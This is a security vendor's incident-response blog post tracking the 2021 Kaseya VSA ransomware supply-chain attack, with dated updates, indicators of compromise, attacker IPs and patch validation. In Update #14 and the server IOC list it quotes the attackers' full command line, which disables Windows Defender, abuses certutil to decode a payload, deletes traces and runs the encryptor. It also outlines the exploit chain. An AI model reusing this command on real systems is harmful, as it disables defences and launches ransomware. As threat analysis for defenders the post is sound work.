John Hammond 07.3.2021

Rapid Response: Mass MSP Ransomware Incident

Updated 07/13/2021 @ 10:30am ET

Our team continues to investigate the Kaseya VSA supply chain attack that's currently affecting a growing number of MSPs, resellers and their customers.

Our initial findings and analysis are captured in this Reddit thread. We're continuing to update that thread and this post with new information. 

On Tuesday, July 13, we continued our coverage of the attack during July's episode of Tradecraft Tuesday. View the recording here.

We also hosted a webinar on Tuesday, July 6 at 1pm ET to provide additional information—access the recording here

If you need assistance—even if you're not a current Huntress partner—please contact our support team at support@huntress.com. We're working around the clock to support MSPs who have been impacted by this attack.

Quick Links


What's Happening?

We are tracking ~30 MSPs across the US, AUS, EU, and LATAM where Kaseya VSA was used to encrypt well over 1,000 businesses and are working in collaboration with many of them. All of these VSA servers are on-premises and Huntress has confirmed that cybercriminals have exploited an arbitrary file upload and code injection vulnerability and have high confidence an authentication bypass was used to gain access into these servers. 

Kaseya has also stated:

R&D has replicated the attack vector and is working on mitigating it. We have begun the process of remediating the code and will include regular status updates on our progress starting tomorrow morning.

Our team has been in contact with the Kaseya security team since July 2 at approximately 2:00pm ET. They immediately started taking response actions and feedback from our team as we both learned about the unfolding situation.

Many partners are asking "What do you do if your RMM is compromised?". This is not the first time hackers have made MSPs supply chain targets, and we previously recorded a video guide to Surviving a Coordinated Ransomware Attack after 100+ MSPs were compromised in 2019. This is a good resource to start with, and you can also watch our most recent webinar about recovering from a mass ransomware attack here.

Current Status

At 4:30pm ET on July 11, Kaseya released their patch to remediate on-premises VSA servers. The Huntress team has since validated this patch, which was dubbed 9.5.7a (9.5.7.2994) Feature Release.

With this patch installed, our previous proof-of-concept exploit now fails—and we believe the attack vector is no longer present.

Update #19 - 07/13/2021 @ 10:30am ET

In Update 5 of our Reddit post (7/2/2021 2110 ET) thread, we mentioned:

“For our Huntress partners using VSA, we took proactive steps to help protect your systems. We will send out a follow-up with details.” 

Read all the details about the “proactive steps” we took in this blog post.

Update #18 - 07/11/2021 @ 7:10pm ET

The Huntress team has validated the released Kaseya patch, dubbed 9.5.7a (9.5.7.2994) Feature Release.

You can install the patch with the "KInstall.exe" update utility, found online here if you do not find a local copy: http://download.kaseya.com/KInstall.exe. Installing the patch does suggest a Windows Update if you have not recently installed the latest updates from Microsoft.

From our testing, installing the patch took approximately 10 minutes. After logging back into the VSA service, you are prompted to change your password to meet the new policy requirements.

005_prompt_for_new_password

We observe that, with this patch installed, /dl.asp, /userFilterTableRpt.asp and /done.asp are no longer present. The "Deploy Agent" menu item in the GUI /mkDefault.asp. KUpload.dll has been modified (we have yet to dig into the changes on this file).

With this patch installed, our previous proof-of-concept exploit now fails—and we believe the attack vector is no longer present.

007_exploit_fails

 

Update #17 - 07/11/2021 @ 4:35pm ET

Kaseya has released their patch to remediate on-premises VSA servers and has brought VSA SaaS infrastructure back online on 1630 ET, July 11 2021. Our team is working to validate the patch and will have more updates soon. 

Note: an SQL script has been previously provided to clear out any pending VSA procedures/scripts/jobs that may have accumulated since the shutdown, along with a “VSA SQL Audit Report” tool—both of which are strongly recommended to run before beginning recovery efforts and restoring internet connectivity.

Update #16 - 07/08/2021 @ 5:27pm ET

Huntress has seen the video from Kaseya’s CEO released last night and the latest updates explaining that the timeline for a patch and restoration is now delayed until this coming Sunday.

Kaseya has released an on-premise playbook as well as a SaaS playbook for recovery efforts.

Our current concern is that if organizations shut down their on-premise VSA servers, there could be a chance that these systems are powered off in a state with pending jobs still queued to ransom more downstream endpoints once connectivity is restored.

We believe it is vitally important to remove these pending jobs prior to reenabling connectivity.

Once a patch is released, the Huntress team will have more updates to share.

Update #15 - 07/06/2021 @ 7:08pm ET

As demonstrated in our webinar today, Huntress Security Researcher Caleb Stewart has successfully reproduced the Kaseya VSA exploits used to deploy REvil/Sodinokibi ransomware and released a POC demonstration video depicting:

  • an Authentication Bypass

  • an Arbitrary File Upload

  • and Command Injection

Although the hackers did not deliver an implant with their exploit, the latter half of the video illustrates how it could have been done (used MSFVenom to generate a Meterpreter binary and caught the callback with pwncat).

 

Update #14 - 07/06/2021 @ 2:04am ET

We've received a ton of requests from compromised MSPs to detail what actions the hackers did after compromising a VSA database. Although we cannot say for certain what they did to your database, this is what we discovered across the ones we analyzed:

1. Function 26: They retrieved the path to the agent working directory and stored the value in the #agentWrkDir# variable.

2. Function 5: They copied <kayseya web root>\VSATicketFiles\agent.crt to #agentWrkDir#\agent.crt.

3. Function 26: They created the variable #diffSec# and stored the constant (default) value of 1 second.

4. Function 26: They computed and stored the difference between the current date/time and Jul 2 2021 16:30:12.136 UTC in seconds in the #diffSec# variable. They did this with the following command: +++SQLCMD:SELECT CASE WHEN DATEDIFF(SECOND, GETUTCDATE(), &#39;Jul 2 2021 04:30:12:163PM&#39;) >> 1 THEN DATEDIFF(SECOND, GETUTCDATE(), &#39;Jul 2 2021 04:30:12:163PM&#39;) ELSE 1 END

5. Function 7: They executed the commands we posted (included below for posterity). The ping sleeps for the amount of time computed in the Step 4, which effectively coordinates a synchronized attack at exactly 1630 UTC across all victims. %COMSPEC% /c ping 127.0.0.1 -n #diffSec# >> nul & %SystemDrive%\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y %SystemDrive%\Windows\System32\certutil.exe %SystemDrive%\Windows\cert.exe & echo %RANDOM% >>>> %SystemDrive%\Windows\cert.exe & %SystemDrive%\Windows\cert.exe -decode #agentWrkDir#\agent.crt #agentWrkDir#\agent.exe & del /q /f #agentWrkDir#\agent.crt %SystemDrive%\Windows\cert.exe & #agentWrkDir#\agent.exe

Huge thanks to Caleb Stewart, Dave Kleinatland and Jason Phelps at Huntress for this analysis. However, the huge kudos goes to the MSPs who decided to share their data for the greater good of the community. We would not have been able to piece this puzzle together this without you!

Update #13 - 07/05/2021 @ 3:12pm ET

At approximately 0415 ET this morning, our team received fragments of the Screenshot.jpg file that was uploaded as part of the attack chain. This Screenshot.jpg is new information that we have not yet seen shared publicly.

This Screenshot.jpg is in fact not a JPG image file, but more executable code that we can see disables existing user sessions, removes IIS logs, and other cleanup activities. Unfortunately, a large portion of the code is removed as the original IDS had not retrieved the full packet. This explains the previous activity we have seen across all compromised organizations. Again, we cannot thank the community enough for sharing your own valuable intelligence.

With the finding of this Screenshot.jpg, we are reminded that this was in fact uploaded to an accessible directory, and in the final POST request to /userFilterTableRpt.asp it is possible that an argument is supplied to call and execute this Screenshot.jpg code. This indicates not strictly SQL injection as a final vector for code execution, but potentially another form of injection.


Update #12 - 07/04/2021 @ 4:31pm ET

We have been tracing the original attack vector for this incident. Across all of the compromised servers we are aware of, there has been another commonality following the previously mentioned GET and POST requests from an AWS IP address 18[.]223.199.234 using curl to access these files sequentially:

/dl.asp/KUpload.dll/userFilterTableRpt.asp

We have observed that dl.asp contains proper SQL sanitization and there does not seem to be any SQL injection vulnerabilities present. However, it does seem to include a potential logic flaw in the authentication process.

This potential authentication bypass likely grants the user a valid session, and may let the user "impersonate" a valid agent. If that speculation is correct, the user could access other files that require authentication -- specifically KUpload.dll and userFilterTableRpt.asp in this case.KUpload.dll offers upload functionality and logs to a file KUpload.log.

From our analysis, we have seen the KUpload.log on compromised servers prove the files agent.crt and Screenshot.jpg were uploaded to the VSA server.agent.crt is, as previously stated, used to kick off the payload for ransomware. Unfortunately we have not yet retrieved a copy of Screenshot.jpg present on compromised servers that we have seen.

The userFilterTableRpt.asp file contains a significant amount of potential SQL injection vulnerabilities, which would offer an attack vector for code execution and the ability to compromise the VSA server.

Following this chain, we have high confidence that the threat actor used an authentication bypass in the web interface of Kaseya VSA to gain an authenticated session, upload the original payload, and then execute commands via SQL injection. We can confirm that SQL injection is how the actors began code execution.

We are working with AWS and law enforcement to investigate this 18[.]223.199.234 IP address. Considering the fact that this IP address provides shared hosting (credit to RiskIQ for this intel), it's plausible the attackers may have compromised a legitimate webserver and used it as a launch point for their attack. We are still actively analyzing this situation and will continue to update you with new threat intelligence as we find it.

If anyone has information surrounding this newfound \Kaseya\WebPages\ManagedFiles\VSATicketFiles\Screenshot.jpg file, please share your findings and the file with us at support@huntress.com.

Update #11 - 07/04/2021 @ 1:32pm ET

If any organizations are willing to share copies of the unencrypted files from known compromised VSA servers, this would be an incredible help in our analysis.

  • C:\ProgramData\Kaseya\Log\KaseyaEdgeServices\*.log

  • C:\inetpub\logs\LogFiles\W3SVC#\*.log

  • C:\ProgramData\Kaseya\Kupload\KUpload.log

These logs will be pivotal in helping us understand what IP addresses the attackers came from as we cooperate with law enforcement and cloud service providers. As always, your information will be private and confidential -- please send download links to support@huntress.com. We are all in this together and greatly appreciate your help.

Update #10 - 07/04/2021 @ 12:20pm ET

It's still too early to tell, but from the logs we have been analyzing, we have seen a singular POST request from an AWS IP address 18[.]223.199.234 using curl to access the /userFilterTableRpt.asp file.


Update #9 - 07/04/2021 @ 11:17am ET

Kaseya has shared their own detection tool. From their report, "The new Compromise Detection Tool was rolled out last night to almost 900 customers who requested the tool." That detection tool checks for the presence of a "userfiltertablerpt.asp" file included their public web root. As we have examined the file, we can see there is a number of potential SQL injection vulnerabilities, and we are actively reviewing the pertinent files for other potential attack vectors.

Update #8 - 07/03/2021 @ 8:43pm ET

We've made several changes to the "What's Happening" section of this post, updating the number of confirmed impacted organizations and sharing new information based on our analysis of hundreds of VSA logs from compromised servers. 

Going forward the Huntress team will split our efforts into support two major objectives:

  • Restoration: 75% of our effort will focus on helping compromised partners recover from this incident, using Kaseya's upcoming Compromise Detection Tool (expected shortly) and helping partners' clients understand the situation.

  • Attack Vector Awareness: 25% of our effort will continue to focus on the initial access vector used by the attackers. We still have data to analyze and are preparing for the release of a near-term beta patch tomorrow (per Kaseya's July 3 7:30pm ET update).

Update #7 - 07/03/2021 @ 4:07pm ET

We are aware of Sodinokibi artifacts like the "BlackLivesMatter" registry keys and values stored within HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node. Although details like these may be spicy for headlines, the purpose of this registry key is to simply store encryptor runtime keys/configurations and have been previously discussed. We are also aware of conversation about the Kaseya payload's ability to autologin to safe mode and set the password to "DTrump4ever". This behavior will only happen if the  -smode argument is specified and we have not observed this behavior on any of the MSPs we've worked with.

Update #6 - 07/03/2021 @ 11:34am ET

Based on a combination of the service providers reaching out to us for assistance along with the comments we're seeing in this thread, it's reasonable to think this could potentially be impacting thousands of small businesses.

At 10:00 AM ET on July 3, Kaseya shared a new update, continuing to strongly recommend on-premise Kaseya customers keep their VSA servers offline until further notice. They explain more updates will release every 3-4 hours or more frequently as new information is discovered.

We are still actively analyzing Kaseya VSA and Windows Event Logs. If you have unencrypted logs from a confirmed compromised VSA server and you are comfortable sharing them to help the discovery efforts, please email a link download them at support[at]huntress.com. All your information will be treated confidentially and redacted before any information is posted publicly. ♥

Our focus over the next 48 hours will be advising and helping MSPs and Resellers whose customers were attacked on how to proceed. If you need assistance (Huntress partner or not) email support[at]huntresslabs.com. Based on the many MSPs and Resellers who have reached out to us asking for advice on dealing with a situation like this - including many who had no affected customers.

Update #5 - 07/02/2021 @ 9:10pm ET

We are hard at work learning all we can but have a few details and notes we wanted to share:

Fabian Wosar released a decrypted copy of the REvil/Sodin encryptor config. This file contains details about the ransomware payload including process kill lists, whitelisted components, and command & control domains used.

IOCs (SHA256):

If your MSP (Huntress partner or not) was impacted by this incident and you need some advice on where to go from here reach out to support@huntress.com. We've coached over 200 MSPs through incidents like this since early 2019 and would be happy to share best practices.

For our Huntress partners using VSA, we took proactive steps to help protect your systems. We will send out a follow-up with details.

We will be working through the night and will provide additional details as we learn more.

Update #4 - 07/02/2021 @ 4:22pm ET

We are seeing indications VSA admin user accounts were disabled only moments before ransomware is deployed. The source of these indicators are auto-emailed Kaseya VSA Security Notifications indicated the "KElevated######" (SQL User) account performed this action. We're hesitant to jump to any conclusions, but this could via suggest execution via SQL commands.

Update #3 - 07/02/2021 @ 3:17pm ET

Based on the forensic patterns, ransomware notes and the TOR URL, we strongly believe a REvil/Sodinokibi RaaS affiliate is behind these intrusions.

  • hxxp://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd[.]onion

The Huntress customer support team has started pre-emptively calling all of our VSA partners to make the aware of the situation. We currently have three Huntress partners who are impacted with roughly 200 businesses that have been encrypted. We are aware of at least 8 impacted MSP partners at this time.

Update #2 - 07/02/2021 @ 2:49pm ET

We've collected a copy of the encryptor (agent.exe). The encryptor is digitally signed with a valid digital signature with the following signer information:

When agent.exe runs, the following files are dropped into the hardcoded path c:\Windows:

  • MsMpEng.exe - the legit Windows Defender executable

  • mpsvc.dll - the encryptor payload that is sideloaded by the legit Defender .EXE

Update #1 - 07/02/2021 @ 2:45pm ET

Based on current conversations, one impacted partner stated they are running on-prem VSA with one patch behind and 2FA running on all users/integration accounts. A second partner stated they are running on-prem VSA with one patch behind and 2FA running on all users except the Autotask and Warranty Master integration accounts.

Initial Indicators of Compromise

On July 2 around 11am ET many Kaseya VSA servers were used to deploy ransomware. Here are the details of that initial intrusion.

Server IOCs

  • Attackers uploaded agent.crt and Screenshot.jpg to exploited VSA servers and this activity can be found in KUpload.log (which *may* be wiped by the attackers or encrypted by ransomware if a VSA agent was also installed on the VSA server).
  • A series of GET and POST requests using curl can be found within the KaseyaEdgeServices logs located in %ProgramData%\Kaseya\Log\KaseyaEdgeServices directory with a file name following this modified ISO8601 naming scheme KaseyaEdgeServices-YYYY-MM-DDTHH-MM-SSZ.log.

  • Attackers came from the following IP addresses using the user agent curl/7.69.1:
    18.223.199[.]234 (Amazon Web Services) discovered by Huntress
    161.35.239[.]148 (Digital Ocean) discovered by TrueSec
    35.226.94[.]113 (Google Cloud) discovered by Kaseya
    162.253.124[.]162 (Sapioterra) discovered by Kaseya
    We've been in contact with the internal hunt teams at AWS and Digital Ocean and have passed information to the FBI Dallas office and relevant intelligence community agencies.
  • The VSA procedure used to deploy the encryptor was named "Kaseya VSA Agent Hot-fix”. Additional procedures were "Archive and Purge Logs"

  • The "Kaseya VSA Agent Hot-fix” procedure ran the following: "C:\WINDOWS\system32\cmd.exe" /c ping 127.0.0.1 -n 4979 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe

Endpoint IOCs

  • Ransomware encryptors pushed via the Kaseya VSA agent were dropped in TempPath with the file name agent.crt and decoded to agent.exe. TempPath resolves to c:\kworking\agent.exe by default and is configurable within HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Kaseya\Agent\<unique id>
  • When agent.exe runs, the legitimate Windows Defender executable MsMpEng.exe and the encryptor payload mpsvc.dll are dropped into the hardcoded path "c:\Windows" to DLL sideload. 

  • The mpsvc.dll Sodinokibi DLL creates the registry key HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\BlackLivesMatter which contains several registry values that store encryptor runtime keys/configurations artifacts.


Further Reading & Resources

Can Huntress Help Me?

We're doing everything we can to support businesses that need help right now. The MSP community is an incredibly supportive network and we're actively engaged with many members and organizations. 

We've taken steps within our platform to help partners reduce some of the risk of being affected by this attack. We'll share more on this in a future update. 

If you need assistance—even if you're not a current Huntress partner—please reach out to our support team at support@huntress.com. We're working around the clock to support MSPs who have been impacted by this attack. You can also start a Huntress trial here (this is not required to get help from us). 

 

avatar

John Hammond

Threat hunter. Education enthusiast. Senior Security Researcher at Huntress.